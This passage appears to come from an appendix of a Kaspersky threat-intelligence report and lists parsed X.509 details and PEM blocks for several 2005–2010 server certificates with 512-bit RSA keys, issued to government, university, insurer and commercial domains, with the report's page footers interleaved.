MRowGAYDVQQDExF3ZWJtYWlsLmphcmluZy5teTEWMBQGA1UEBxMNVy5QZXJzZWt1
dHVhbjEhMB8GCSqGSIb3DQEJARYSc3lzYWRtaW5AamFyaW5nLm15MRYwFAYDVQQI
Ew1LdWFsYSBMdW1wdXIgMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKSBbY3kpvpk
aMhBS/MIicaM9VLFZAB6pAApvvvmyLeS3lJx+CMnFo5PWcTDUiyyfnLZsYiupSMB
LVtj3Y1JHo8CAwEAAaOBijCBhzARBgNVHQ4ECgQIQWulnljlKbcwRAYDVR0gBD0w
OzA5BgVgg0oBATAwMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3LmRpZ2ljZXJ0LmNv
bS5teS9jcHMuaHRtMB8GA1UdIwQYMBaAFMYWk04WF+wWroyUdvOGbcV0boR3MAsG
A1UdDwQEAwIE8DANBgkqhkiG9w0BAQUFAAOBgQBXuTd20cSVXc8gUerFkq1+JKd4
0pLBdkXGD26ENRWqgotCVR3gio6GE96YAo4lKySoi4SiNjf09h2BG5bH7i35aP54
mIu7WqC7QAOyymuEEujEzd+tnWbHdQhgW+ME3r8lmfvRWhKx2ajDSBntv9y3X/+O
zzcrJGXlP7myY8zPXA==
END CERTIFICATE
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 2657623 (0x288d57)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=MY, O=Digicert Sdn.
Bhd., OU=457608K,
CN=Digisign Server ID (Enrich)
Validity
Not Before: Sep 29 06:46:10 2009 GMT
Not After : Sep 29 06:46:10 2011 GMT
Subject: O=MARDI, CN=anjungnet.mardi.gov.my, ST=SERDANG
Subject Public Key Info:
TLP: Green	           For any inquiries, please contact intelreports@kaspersky.com
19
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:ba:4f:4f:7d:e9:62:7a:d5:f8:62:99:0d:29:4c:
af:0e:f4:7d:49:7e:6e:d9:30:d3:06:49:6b:b0:77:
cd:67:2d:c9:61:55:3d:00:b1:7a:b4:a0:f4:64:61:
9c:81:38:3e:44:6e:0e:15:a9:58:f9:60:68:a2:29:
b2:0d:7e:67:71
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
48:15:99:11:61:48:10:FD
X509v3 Certificate Policies:
Policy: 2.16.458.1.1
CPS: http://www.digicert.com.my/cps.htm
X509v3 Authority Key Identifier:
keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C
5:74:6E:84:77
X509v3 Key Usage:
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
Signature Algorithm: sha1WithRSAEncryption
8a:89:09:23:6f:ff:bd:7d:0b:45:ff:a8:83:ae:cf:c3:f3:1a:
79:9d:f4:42:22:37:78:b4:6b:7b:86:4f:ee:7a:35:4b:52:8e:
25:25:b3:06:37:1f:f0:bd:72:56:af:d9:b0:cd:48:be:8a:3c:
a2:07:10:1f:7b:62:c9:01:02:47:a9:b8:7f:27:52:13:28:b4:
c6:a8:5b:e5:57:1a:d3:92:3d:5b:5c:b3:a9:14:cf:1b:ea:fd:
43:48:36:11:9d:85:25:4d:f9:26:84:d8:4d:1a:9c:bd:47:67:
5f:e6:1d:e7:17:71:71:24:15:68:4e:68:9f:bf:62:10:3e:75:
83:a2
BEGIN CERTIFICATE
MIICZTCCAc6gAwIBAgIDKI1XMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAk1Z
MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBgNVBAsTCDQ1NzYwOC1L
MSQwIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMDkwOTI5
MDY0NjEwWhcNMTEwOTI5MDY0NjEwWjBDMQ4wDAYDVQQKEwVNQVJESTEfMB0GA1UE
AxMWYW5qdW5nbmV0Lm1hcmRpLmdvdi5teTEQMA4GA1UECBMHU0VSREFORzBcMA0G
CSqGSIb3DQEBAQUAA0sAMEgCQQC6T0996WJ61fhimQ0pTK8O9H1Jfm7ZMNMGSWuw
d81nLclhVT0AsXq0oPRkYZyBOD5Ebg4VqVj5YGiiKbINfmdxAgMBAAGjgYowgYcw
EQYDVR0OBAoECEgVmRFhSBD9MEQGA1UdIAQ9MDswOQYFYINKAQEwMDAuBggrBgEF
TLP: Green	          For any inquiries, please contact intelreports@kaspersky.com
20
BQcCARYiaHR0cDovL3d3dy5kaWdpY2VydC5jb20ubXkvY3BzLmh0bTAfBgNVHSME
GDAWgBTGFpNOFhfsFq6MlHbzhm3FdG6EdzALBgNVHQ8EBAMCBPAwDQYJKoZIhvcN
AQEFBQADgYEAiokJI2//vX0LRf+og67Pw/MaeZ30QiI3eLRre4ZP7no1S1KOJSWz
Bjcf8L1yVq/ZsM1Ivoo8ogcQH3tiyQECR6m4fydSEyi0xqhb5Vca05I9W1yzqRTP
G+r9Q0g2EZ2FJU35JoTYTRqcvUdnX+Yd5xdxcSQVaE5on79iED51g6I=
END CERTIFICATE
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
01:00:00:00:00:01:1e:de:de:a3:da
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=BE, O=Cybertrust, OU=Educational CA,
CN=Cybertrust Educational CA
Validity
Not Before: Jan 16 08:55:33 2009 GMT
Not After : Jan 16 08:55:33 2012 GMT
Subject: C=GB, ST=England, L=London, O=London Metropolitan
University, OU=ISS, CN=skillsforge.londonmet.ac.uk
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:b8:73:f6:45:f2:83:21:4e:66:5d:a8:7d:29:a4:
aa:21:1e:cb:1e:03:41:dc:1f:cd:1b:2c:d0:f6:3f:
ca:ed:46:f2:be:8f:32:92:1c:a1:69:06:08:db:b9:
ee:e2:51:bb:9c:bf:68:c3:6f:61:8a:de:e5:be:46:
5b:c4:bf:44:b9
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Key Usage: critical
Digital Signature, Key Encipherment
X509v3 Authority Key Identifier:
keyid:65:65:A3:3D:D7:3B:11:A3:0A:07:25:37:C9:42:4A:5
B:76:77:50:E1
X509v3 Subject Key Identifier:
14:5A:F5:85:8E:AC:81:77:46:5F:22:70:39:2E:64:E5:EF:
F5:28:E1
X509v3 CRL Distribution Points:
TLP: Green	         For any inquiries, please contact intelreports@kaspersky.com
21
Full Name:
URI:http://crl.globalsign.net/educational.crl
Authority Information Access:
CA Issuers URI:
http://secure.globalsign.net/cacert/educational.crt
Netscape Cert Type:
SSL Client, SSL Server
Signature Algorithm: sha1WithRSAEncryption
2a:fd:1e:cb:cd:45:42:24:44:32:72:bd:3c:cb:27:31:4a:8b:
2a:25:48:65:06:31:fd:81:5d:ac:e1:5b:6a:ff:96:2a:50:73:
1e:16:9b:2a:4f:18:ee:fe:26:30:d0:cb:96:f6:11:e6:2b:0f:
95:d1:4b:80:cd:a8:aa:0c:1b:6c:a4:7a:41:af:db:9f:00:b1:
64:51:d3:db:16:ad:27:98:23:a8:43:dc:3a:2c:17:79:7b:90:
71:fa:ad:00:9c:ec:d1:24:b7:ba:81:de:35:e9:d6:fe:a0:92:
46:69:b2:86:36:04:57:ba:9b:b0:92:24:e9:44:2b:ca:d8:09:
54:b0:2d:64:21:24:c0:d4:77:86:de:77:04:2b:f2:6b:a8:1d:
de:9b:5b:df:32:d3:45:ee:32:e6:60:a6:07:77:02:ef:98:d1:
9d:de:40:3b:42:74:dd:c6:da:bb:2f:1a:42:58:93:db:2e:1f:
f9:23:41:ab:e7:63:c7:1c:d3:ec:f3:bf:60:41:64:0c:ef:22:
b3:a0:cb:ae:bd:32:0e:0f:3c:00:13:b0:32:47:62:b5:aa:22:
7b:76:0b:d2:f2:f5:eb:92:c8:f8:6c:9d:d3:ad:f7:f1:b9:c6:
94:51:31:5a:e8:1b:68:76:d4:3a:00:83:b3:3f:ef:03:a2:d2:
c5:25:d8:d4
BEGIN CERTIFICATE
MIIDnjCCAoagAwIBAgILAQAAAAABHt7eo9owDQYJKoZIhvcNAQEFBQAwXzELMAkG
A1UEBhMCQkUxEzARBgNVBAoTCkN5YmVydHJ1c3QxFzAVBgNVBAsTDkVkdWNhdGlv
bmFsIENBMSIwIAYDVQQDExlDeWJlcnRydXN0IEVkdWNhdGlvbmFsIENBMB4XDTA5
MDExNjA4NTUzM1oXDTEyMDExNjA4NTUzM1owgY0xCzAJBgNVBAYTAkdCMRAwDgYD
VQQIEwdFbmdsYW5kMQ8wDQYDVQQHEwZMb25kb24xJzAlBgNVBAoTHkxvbmRvbiBN
ZXRyb3BvbGl0YW4gVW5pdmVyc2l0eTEMMAoGA1UECxMDSVNTMSQwIgYDVQQDExtz
a2lsbHNmb3JnZS5sb25kb25tZXQuYWMudWswXDANBgkqhkiG9w0BAQEFAANLADBI
AkEAuHP2RfKDIU5mXah9KaSqIR7LHgNB3B/NGyzQ9j/K7Ubyvo8ykhyhaQYI27nu
4lG7nL9ow29hit7lvkZbxL9EuQIDAQABo4HzMIHwMA4GA1UdDwEB/wQEAwIFoDAf
BgNVHSMEGDAWgBRlZaM91zsRowoHJTfJQkpbdndQ4TAdBgNVHQ4EFgQUFFr1hY6s
gXdGXyJwOS5k5e/1KOEwOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybC5nbG9i
YWxzaWduLm5ldC9lZHVjYXRpb25hbC5jcmwwTwYIKwYBBQUHAQEEQzBBMD8GCCsG
AQUFBzAChjNodHRwOi8vc2VjdXJlLmdsb2JhbHNpZ24ubmV0L2NhY2VydC9lZHVj
YXRpb25hbC5jcnQwEQYJYIZIAYb4QgEBBAQDAgbAMA0GCSqGSIb3DQEBBQUAA4IB
AQAq/R7LzUVCJEQycr08yycxSosqJUhlBjH9gV2s4Vtq/5YqUHMeFpsqTxju/iYw
TLP: Green	          For any inquiries, please contact intelreports@kaspersky.com
22
0MuW9hHmKw+V0UuAzaiqDBtspHpBr9ufALFkUdPbFq0nmCOoQ9w6LBd5e5Bx+q0A
nOzRJLe6gd416db+oJJGabKGNgRXupuwkiTpRCvK2AlUsC1kISTA1HeG3ncEK/Jr
qB3em1vfMtNF7jLmYKYHdwLvmNGd3kA7QnTdxtq7LxpCWJPbLh/5I0Gr52PHHNPs
879gQWQM7yKzoMuuvTIODzwAE7AyR2K1qiJ7dgvS8vXrksj4bJ3TrffxucaUUTFa
6BtodtQ6AIOzP+8DotLFJdjU
END CERTIFICATE
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 19771 (0x4d3b)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, O=Anthem Inc, OU=Ecommerce, CN=Anthem Inc
Certificate Authority
Validity
Not Before: Apr 22 18:15:10 2009 GMT
Not After : Apr 22 18:15:10 2010 GMT
Subject: C=US, ST=Indiana, L=Indianapolis, O=Anthem
Insurance Company Inc, OU=EBusiness, CN=ahi.anthem.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:d4:95:e5:13:d8:7f:91:27:29:f6:76:72:9a:13:
a6:e2:4b:ec:16:ed:fc:a5:d8:f9:a1:f3:57:4b:85:
56:ec:ca:80:9f:0c:23:9d:36:45:db:ee:a8:ee:47:
b7:33:21:e4:93:72:7d:00:02:98:08:d8:88:c9:45:
b5:22:cc:bc:77
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints: critical
CA:FALSE
X509v3 Subject Alternative Name:
email:dlaitmiddleware@anthem.com
X509v3 Key Usage: critical
Key Encipherment
X509v3 Authority Key Identifier:
keyid:FA:1A:DC:3E:5D:A6:B5:FD:FA:5F:6C:CB:28:40:D3:E
0:97:A2:AA:AC
TLP: Green	         For any inquiries, please contact intelreports@kaspersky.com
23
DirName:/C=US/O=GTE Corporation/OU=GTE CyberTrust
Solutions, Inc./CN=GTE
CyberTrust Global Root
serial:07:27:16:11
X509v3 Subject Key Identifier:
6B:46:CC:B6:F4:8F:05:14:46:5D:D8:23:B8:05:73:E3:58:
7E:D6:A6
Signature Algorithm: sha1WithRSAEncryption
71:72:2a:c2:fc:70:13:d6:7a:a7:08:50:f2:e5:c9:7d:61:e8:
3d:bd:98:89:2a:76:3f:16:1e:c1:2d:31:8b:81:b6:95:83:5b:
d3:48:35:3d:78:9a:e3:76:c9:89:a0:8a:74:a0:cd:ae:56:cf:
30:c7:72:d2:72:d0:aa:4b:9c:18:13:41:90:30:45:6d:bd:24:
d4:88:1e:83:f3:ef:ac:d7:c3:6f:82:2d:10:20:d6:06:01:36:
45:50:13:b4:32:6b:39:73:c9:7d:67:84:d4:ab:87:fc:c9:2a:
8d:ee:63:7a:e2:f1:8c:4a:47:7f:3a:cb:6e:68:a2:c1:32:c6:
04:e6:7a:35:45:46:05:99:29:90:2e:a8:2e:dd:8a:d4:8c:31:
2e:77:57:84:62:87:fa:e1:60:2a:2a:e7:15:4c:4b:18:0d:a7:
a2:cb:d6:32:ae:40:73:51:65:76:df:08:d4:f5:fa:a9:d9:c3:
d4:5f:12:dc:ca:cd:4d:1e:ca:de:9f:c3:c9:5d:53:4c:d2:54:
14:43:e5:d8:2b:9c:7c:7e:da:33:d7:69:80:43:dd:96:3d:64:
aa:91:63:5f:48:50:7b:33:d7:85:3a:a9:d7:74:71:da:4a:82:
cf:b1:14:82:f6:95:72:d8:a9:24:3e:b4:14:94:0c:17:2c:6f:
8a:93:1a:a2
BEGIN CERTIFICATE
MIIDsTCCApmgAwIBAgICTTswDQYJKoZIhvcNAQEFBQAwYTELMAkGA1UEBhMCVVMx
EzARBgNVBAoTCkFudGhlbSBJbmMxEjAQBgNVBAsTCUVjb21tZXJjZTEpMCcGA1UE
AxMgQW50aGVtIEluYyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDkwNDIyMTgx
NTEwWhcNMTAwNDIyMTgxNTEwWjCBijELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0lu
ZGlhbmExFTATBgNVBAcTDEluZGlhbmFwb2xpczElMCMGA1UEChMcQW50aGVtIElu
c3VyYW5jZSBDb21wYW55IEluYzESMBAGA1UECxMJRUJ1c2luZXNzMRcwFQYDVQQD
Ew5haGkuYW50aGVtLmNvbTBcMA0GCSqGSIb3DQEBAQUAA0sAMEgCQQDUleUT2H+R
Jyn2dnKaE6biS+wW7fyl2Pmh81dLhVbsyoCfDCOdNkXb7qjuR7czIeSTcn0AApgI
2IjJRbUizLx3AgMBAAGjggEPMIIBCzAMBgNVHRMBAf8EAjAAMCcGA1UdEQQgMB6B
HGRsLWFpdC1taWRkbGV3YXJlQGFudGhlbS5jb20wDgYDVR0PAQH/BAQDAgUgMIGi
BgNVHSMEgZowgZeAFPoa3D5dprX9+l9syyhA0+CXoqqsoXmkdzB1MQswCQYDVQQG
EwJVUzEYMBYGA1UEChMPR1RFIENvcnBvcmF0aW9uMScwJQYDVQQLEx5HVEUgQ3li
ZXJUcnVzdCBTb2x1dGlvbnMsIEluYy4xIzAhBgNVBAMTGkdURSBDeWJlclRydXN0
IEdsb2JhbCBSb290ggQHJxYRMB0GA1UdDgQWBBRrRsy29I8FFEZd2CO4BXPjWH7W
pjANBgkqhkiG9w0BAQUFAAOCAQEAcXIqwvxwE9Z6pwhQ8uXJfWHoPb2YiSp2PxYe
TLP: Green	          For any inquiries, please contact intelreports@kaspersky.com
24
wS0xi4G2lYNb00g1PXia43bJiaCKdKDNrlbPMMdy0nLQqkucGBNBkDBFbb0k1Ige
g/PvrNfDb4ItECDWBgE2RVATtDJrOXPJfWeE1KuH/Mkqje5jeuLxjEpHfzrLbmii
wTLGBOZ6NUVGBZkpkC6oLt2K1IwxLndXhGKH+uFgKirnFUxLGA2nosvWMq5Ac1Fl
dt8I1PX6qdnD1F8S3MrNTR7K3p/DyV1TTNJUFEPl2CucfH7aM9dpgEPdlj1kqpFj
X0hQezPXhTqp13Rx2kqCz7EUgvaVctipJD60FJQMFyxvipMaog==
END CERTIFICATE
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1707608080 (0x65c80810)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=TW, O=TAIWANCA.
COM Inc., OU=SSL Certification Service Provider,
CN=TaiCA Secure CA
Validity
Not Before: Jul 2 06:34:05 2010 GMT
Not After : Jul 17 15:59:59 2011 GMT
Subject: C=TW, ST=Taipei, L=Taipei, O=TRADEVAN,
OU=TRADEVAN, CN=www.esupplychain.com.tw
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:d2:80:52:89:4d:eb:b7:dd:56:41:56:09:71:ce:
87:a0:ad:1d:27:c1:a5:e3:94:27:1b:22:f0:d5:6c:
3c:d5:23:df:0a:22:b9:a0:19:53:5d:85:7e:ca:2a:
51:4d:7d:24:c3:d0:64:0a:52:eb:84:59:f2:2e:68:
c3:d8:bf:13:d1
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Authority Key Identifier:
keyid:D4:85:27:D2:27:A4:BE:AB:5E:2F:41:1B:EA:52:24:3
9:99:4E:46:2E
X509v3 Subject Key Identifier:
4B:EC:AE:F9:6A:02:DF:92:0A:0D:6B:FC:B9:5A:C0:77:BB:
1E:56:D4
X509v3 CRL Distribution Points:
Full Name:
TLP: Green	         For any inquiries, please contact intelreports@kaspersky.com
25
URI:http://sslserver.twca.com.tw/sslserver/
revoke10.crl
X509v3 Certificate Policies:
Policy: 2.16.158.3.1.8.5
User Notice:
Explicit Text: Restriction =3.2.1.1
CPS: www.twca.com.tw
X509v3 Basic Constraints:
CA:FALSE
Signature Algorithm: sha1WithRSAEncryption
8e:94:2c:a7:d4:ee:6f:d4:4b:3e:b1:ee:88:75:96:c2:52:b8:
37:ed:c3:13:51:4f:af:8c:e8:1a:0a:cc:c8:9d:81:16:06:2f:
e5:48:a7:93:1e:10:07:4a:53:a2:f6:41:a4:93:29:93:c3:58:
88:7c:22:a4:f5:7f:53:b0:de:2f:d2:36:8b:1d:ed:54:c6:53:
d0:d5:2e:26:cc:29:9b:94:4b:14:2e:19:78:89:29:54:02:6b:
ff:93:9d:b2:83:c2:19:b0:a1:10:c9:f4:bd:bd:f0:35:2e:44:
4f:7c:00:35:33:ad:52:ac:49:0c:67:0e:48:ca:50:ff:8b:18:
1a:b5
BEGIN CERTIFICATE
MIIDDTCCAnagAwIBAgIEZcgIEDANBgkqhkiG9w0BAQUFADBxMQswCQYDVQQGEwJU
VzEbMBkGA1UEChMSVEFJV0FOLUNBLkNPTSBJbmMuMSswKQYDVQQLEyJTU0wgQ2Vy
dGlmaWNhdGlvbiBTZXJ2aWNlIFByb3ZpZGVyMRgwFgYDVQQDEw9UYWlDQSBTZWN1
cmUgQ0EwHhcNMTAwNzAyMDYzNDA1WhcNMTEwNzE3MTU1OTU5WjB5MQswCQYDVQQG
EwJUVzEPMA0GA1UECBMGVGFpcGVpMQ8wDQYDVQQHEwZUYWlwZWkxEjAQBgNVBAoT
CVRSQURFLVZBTjESMBAGA1UECxMJVFJBREUtVkFOMSAwHgYDVQQDExd3d3cuZXN1
cHBseWNoYWluLmNvbS50dzBcMA0GCSqGSIb3DQEBAQUAA0sAMEgCQQDSgFKJTeu3
3VZBVglxzoegrR0nwaXjlCcbIvDVbDzVI98KIrmgGVNdhX7KKlFNfSTD0GQKUuuE
WfIuaMPYvxPRAgMBAAGjge0wgeowHwYDVR0jBBgwFoAU1IUn0iekvqteL0Eb6lIk
OZlORi4wHQYDVR0OBBYEFEvsrvlqAt+SCg1r/LlawHe7HlbUMEQGA1UdHwQ9MDsw
OaA3oDWGM2h0dHA6Ly9zc2xzZXJ2ZXIudHdjYS5jb20udHcvc3Nsc2VydmVyL3Jl
dm9rZTEwLmNybDBXBgNVHSAEUDBOMEwGB2CBHgMBCAUwQTAiBggrBgEFBQcCAjAW
GhRSZXN0cmljdGlvbiA9My4yLjEuMTAbBggrBgEFBQcCARYPd3d3LnR3Y2EuY29t
LnR3MAkGA1UdEwQCMAAwDQYJKoZIhvcNAQEFBQADgYEAjpQsp9Tub9RLPrHuiHWW
wlK4N+3DE1FPr4zoGgrMyJ2BFgYv5Uinkx4QB0pTovZBpJMpk8NYiHwipPV/U7De
L9I2ix3tVMZT0NUuJswpm5RLFC4ZeIkpVAJr/5OdsoPCGbChEMn0vb3wNS5ET3wA
NTOtUqxJDGcOSMpQ/4sYGrU=
END CERTIFICATE
TLP: Green	          For any inquiries, please contact intelreports@kaspersky.com
26
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 19771 (0x4d3b)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, O=Anthem Inc, OU=Ecommerce, CN=Anthem Inc
Certificate Authority
Validity
Not Before: Apr 22 18:15:10 2009 GMT
Not After : Apr 22 18:15:10 2010 GMT
Subject: C=US, ST=Indiana, L=Indianapolis, O=Anthem
Insurance Company Inc, OU=EBusiness, CN=ahi.anthem.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:d4:95:e5:13:d8:7f:91:27:29:f6:76:72:9a:13:
a6:e2:4b:ec:16:ed:fc:a5:d8:f9:a1:f3:57:4b:85:
56:ec:ca:80:9f:0c:23:9d:36:45:db:ee:a8:ee:47:
b7:33:21:e4:93:72:7d:00:02:98:08:d8:88:c9:45:
b5:22:cc:bc:77
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints: critical
CA:FALSE
X509v3 Subject Alternative Name:
email:dlaitmiddleware@anthem.com
X509v3 Key Usage: critical
Key Encipherment
X509v3 Authority Key Identifier:
keyid:FA:1A:DC:3E:5D:A6:B5:FD:FA:5F:6C:CB:28:40:D3:E
0:97:A2:AA:AC
DirName:/C=US/O=GTE Corporation/OU=GTE CyberTrust
Solutions, Inc./CN=GTE
CyberTrust Global Root
serial:07:27:16:11
X509v3 Subject Key Identifier:
6B:46:CC:B6:F4:8F:05:14:46:5D:D8:23:B8:05:73:E3:58:
7E:D6:A6
Signature Algorithm: sha1WithRSAEncryption
TLP: Green	         For any inquiries, please contact intelreports@kaspersky.com
27
71:72:2a:c2:fc:70:13:d6:7a:a7:08:50:f2:e5:c9:7d:61:e8:
3d:bd:98:89:2a:76:3f:16:1e:c1:2d:31:8b:81:b6:95:83:5b:
d3:48:35:3d:78:9a:e3:76:c9:89:a0:8a:74:a0:cd:ae:56:cf:
30:c7:72:d2:72:d0:aa:4b:9c:18:13:41:90:30:45:6d:bd:24:
d4:88:1e:83:f3:ef:ac:d7:c3:6f:82:2d:10:20:d6:06:01:36:
45:50:13:b4:32:6b:39:73:c9:7d:67:84:d4:ab:87:fc:c9:2a:
8d:ee:63:7a:e2:f1:8c:4a:47:7f:3a:cb:6e:68:a2:c1:32:c6:
04:e6:7a:35:45:46:05:99:29:90:2e:a8:2e:dd:8a:d4:8c:31:
2e:77:57:84:62:87:fa:e1:60:2a:2a:e7:15:4c:4b:18:0d:a7:
a2:cb:d6:32:ae:40:73:51:65:76:df:08:d4:f5:fa:a9:d9:c3:
d4:5f:12:dc:ca:cd:4d:1e:ca:de:9f:c3:c9:5d:53:4c:d2:54:
14:43:e5:d8:2b:9c:7c:7e:da:33:d7:69:80:43:dd:96:3d:64:
aa:91:63:5f:48:50:7b:33:d7:85:3a:a9:d7:74:71:da:4a:82:
cf:b1:14:82:f6:95:72:d8:a9:24:3e:b4:14:94:0c:17:2c:6f:
8a:93:1a:a2
BEGIN CERTIFICATE
MIIDsTCCApmgAwIBAgICTTswDQYJKoZIhvcNAQEFBQAwYTELMAkGA1UEBhMCVVMx
EzARBgNVBAoTCkFudGhlbSBJbmMxEjAQBgNVBAsTCUVjb21tZXJjZTEpMCcGA1UE
AxMgQW50aGVtIEluYyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDkwNDIyMTgx
NTEwWhcNMTAwNDIyMTgxNTEwWjCBijELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0lu
ZGlhbmExFTATBgNVBAcTDEluZGlhbmFwb2xpczElMCMGA1UEChMcQW50aGVtIElu
c3VyYW5jZSBDb21wYW55IEluYzESMBAGA1UECxMJRUJ1c2luZXNzMRcwFQYDVQQD
Ew5haGkuYW50aGVtLmNvbTBcMA0GCSqGSIb3DQEBAQUAA0sAMEgCQQDUleUT2H+R
Jyn2dnKaE6biS+wW7fyl2Pmh81dLhVbsyoCfDCOdNkXb7qjuR7czIeSTcn0AApgI
2IjJRbUizLx3AgMBAAGjggEPMIIBCzAMBgNVHRMBAf8EAjAAMCcGA1UdEQQgMB6B
HGRsLWFpdC1taWRkbGV3YXJlQGFudGhlbS5jb20wDgYDVR0PAQH/BAQDAgUgMIGi
BgNVHSMEgZowgZeAFPoa3D5dprX9+l9syyhA0+CXoqqsoXmkdzB1MQswCQYDVQQG
EwJVUzEYMBYGA1UEChMPR1RFIENvcnBvcmF0aW9uMScwJQYDVQQLEx5HVEUgQ3li
ZXJUcnVzdCBTb2x1dGlvbnMsIEluYy4xIzAhBgNVBAMTGkdURSBDeWJlclRydXN0
IEdsb2JhbCBSb290ggQHJxYRMB0GA1UdDgQWBBRrRsy29I8FFEZd2CO4BXPjWH7W
pjANBgkqhkiG9w0BAQUFAAOCAQEAcXIqwvxwE9Z6pwhQ8uXJfWHoPb2YiSp2PxYe
wS0xi4G2lYNb00g1PXia43bJiaCKdKDNrlbPMMdy0nLQqkucGBNBkDBFbb0k1Ige
g/PvrNfDb4ItECDWBgE2RVATtDJrOXPJfWeE1KuH/Mkqje5jeuLxjEpHfzrLbmii
wTLGBOZ6NUVGBZkpkC6oLt2K1IwxLndXhGKH+uFgKirnFUxLGA2nosvWMq5Ac1Fl
dt8I1PX6qdnD1F8S3MrNTR7K3p/DyV1TTNJUFEPl2CucfH7aM9dpgEPdlj1kqpFj
X0hQezPXhTqp13Rx2kqCz7EUgvaVctipJD60FJQMFyxvipMaog==
END CERTIFICATE
TLP: Green	           For any inquiries, please contact intelreports@kaspersky.com
28
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 820 (0x334)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=US, O=Equifax Secure Inc., CN=Equifax Secure
eBusiness CA1
Validity
Not Before: Feb 28 05:56:46 2005 GMT
Not After : Mar 31 05:56:46 2007 GMT
Subject: C=IS, O=secure.hotelreykjavik.is,
OU=https://services.choicepoint.net/get.jsp?GT50237618,
OU=See www.freessl.com/cps (c)04, OU=Domain Control
Validated StarterSSL(TM), CN=secure.hotelreykjavik.is
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:db:6b:0d:53:8d:e1:71:f1:e2:48:aa:eb:94:d0:
fa:14:c6:24:f8:39:db:22:dc:a7:8e:46:31:10:49:
88:42:af:f2:9a:c5:c7:a2:ef:ec:b5:8c:a3:49:f4:
47:cf:12:4f:e8:6c:dd:9b:5e:91:0d:87:72:6a:17:
ea:d5:71:14:bd
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Key Usage: critical
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
X509v3 CRL Distribution Points:
Full Name:
URI:http://crl.geotrust.com/crls/ebizca1.crl
X509v3 Authority Key Identifier:
keyid:4A:78:32:52:11:DB:59:16:36:5E:DF:C1:14:36:40:6
A:47:7C:4C:A1
Signature Algorithm: md5WithRSAEncryption
78:45:fd:b4:64:e8:50:16:00:f0:35:39:cd:ab:b6:ed:ee:0d:
71:3b:2e:64:8e:92:42:f6:0d:23:28:c2:f8:e2:df:d0:ea:9c:
ea:d7:ad:81:80:f2:ae:cb:95:70:7d:e2:2f:c0:21:9a:d7:0c:
d2:30:94:a6:08:ca:ff:33:80:33:29:fd:f6:14:f5:49:c8:ae:
1d:eb:6b:6e:bf:58:d3:f1:d5:4b:f1:3c:3a:0d:06:1c:ac:29:
TLP: Green	         For any inquiries, please contact intelreports@kaspersky.com
29
be:de:9a:d5:77:a7:37:e6:27:48:5b:b0:bc:ac:48:50:b6:db:
26:aa:27:db:c5:f3:8f:43:b9:92:46:48:ac:f4:98:60:05:ab:
c6:0b
BEGIN CERTIFICATE
MIIC4jCCAkugAwIBAgICAzQwDQYJKoZIhvcNAQEEBQAwUzELMAkGA1UEBhMCVVMx
HDAaBgNVBAoTE0VxdWlmYXggU2VjdXJlIEluYy4xJjAkBgNVBAMTHUVxdWlmYXgg
U2VjdXJlIGVCdXNpbmVzcyBDQS0xMB4XDTA1MDIyODA1NTY0NloXDTA3MDMzMTA1
NTY0Nlowge0xCzAJBgNVBAYTAklTMSEwHwYDVQQKExhzZWN1cmUuaG90ZWxyZXlr
amF2aWsuaXMxPDA6BgNVBAsTM2h0dHBzOi8vc2VydmljZXMuY2hvaWNlcG9pbnQu
bmV0L2dldC5qc3A/R1Q1MDIzNzYxODEmMCQGA1UECxMdU2VlIHd3dy5mcmVlc3Ns
LmNvbS9jcHMgKGMpMDQxMjAwBgNVBAsTKURvbWFpbiBDb250cm9sIFZhbGlkYXRl
ZCAtIFN0YXJ0ZXJTU0woVE0pMSEwHwYDVQQDExhzZWN1cmUuaG90ZWxyZXlramF2
aWsuaXMwXDANBgkqhkiG9w0BAQEFAANLADBIAkEA22sNU43hcfHiSKrrlND6FMYk
+DnbItynjkYxEEmIQq/ymsXHou/stYyjSfRHzxJP6Gzdm16RDYdyahfq1XEUvQID
AQABo24wbDAOBgNVHQ8BAf8EBAMCBPAwOQYDVR0fBDIwMDAuoCygKoYoaHR0cDov
L2NybC5nZW90cnVzdC5jb20vY3Jscy9lYml6Y2ExLmNybDAfBgNVHSMEGDAWgBRK
